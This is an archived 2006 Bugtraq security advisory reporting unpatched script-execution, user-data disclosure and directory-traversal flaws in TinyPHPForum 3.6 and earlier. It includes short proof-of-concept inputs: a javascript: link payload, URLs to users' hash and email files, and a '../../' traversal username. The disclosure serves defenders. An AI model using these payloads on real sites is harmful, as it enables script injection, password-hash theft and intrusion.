bugtraq - [eVuln] TinyPHPForum Multiple Vulnerabilities

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: 5 Jan 2006 02:44:58 -0000
From: alex@...ln.com
To: bugtraq@...urityfocus.com
Subject: [eVuln] TinyPHPForum Multiple Vulnerabilities


New eVuln Advisory:
TinyPHPForum Multiple Vulnerabilities

--------------------Summary----------------

Software: TinyPHPForum
Sowtware's Web Site: http://www.ralpharama.co.uk/tpf/
Versions: 3.6 and earlier
Critical Level: Moderate
Type: Multiple Vulnerabilities
Class: Remote
Status: Unpatched
Exploit: Available
Solution: Not Available
Discovered by: Aliaksandr Hartsuyeu (eVuln.com)
Published: 2006.01.05
eVuln ID: EV0014

-----------------Description--------------
1. Arbitrary script execution is possible when posting a link.
Condition: visitor needs to click this link

2. Registered users information disclosure.
users dir isn't hidden by .htaccess in default installation.

3. Directory Traversal is possible. (creating new user, new topic, viewing user's profile)

--------------Exploit---------------------
1. Arbitrary script execution. Example:
[a]javascript:alert("hello")[/a]

2. Users information disclosure:
http://host/tpf/users/anyuser.hash
http://host/tpf/users/anyuser.email

3. Directory Traversal Example:
Registering new user.
username: http://host/tpf/profile.php?action=view&uname=../../username

--------------Solution---------------------
No Patch available.

--------------Credit---------------------
Original Advisory:
http://evuln.com/vulns/14/summary.html

Discovered by: Aliaksandr Hartsuyeu (eVuln.com)